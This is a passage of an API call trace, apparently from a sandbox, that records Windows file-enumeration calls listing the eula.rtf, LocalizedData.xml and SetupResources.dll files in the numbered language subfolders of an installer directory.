ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.140] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.140] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.140] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.140] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.140] FindClose (in: hFindFile=0x69b188 | out: hFindFile=0x69b188) returned 1 [0131.141] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.141] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0131.141] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b188 [0131.141] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.141] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.141] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.142] FindClose (in: hFindFile=0x69b188 | out: hFindFile=0x69b188) returned 1 [0131.142] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0131.142] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b2c8 [0131.142] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.143] FindClose (in: hFindFile=0x69b2c8 | out: hFindFile=0x69b2c8) returned 1 [0131.143] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0131.143] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0131.146] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.146] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.147] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0131.148] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.148] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0131.148] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b308 [0131.150] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.150] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.150] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.150] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.150] FindNextFileW (in: hFindFile=0x69b308, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.150] FindClose (in: hFindFile=0x69b308 | out: hFindFile=0x69b308) returned 1 [0131.151] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.151] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0131.151] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69abc8 [0131.152] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.152] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.152] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.152] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.153] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.153] FindClose (in: hFindFile=0x69abc8 | out: hFindFile=0x69abc8) returned 1 [0131.153] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0131.153] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0131.154] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0131.154] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.154] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.154] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, 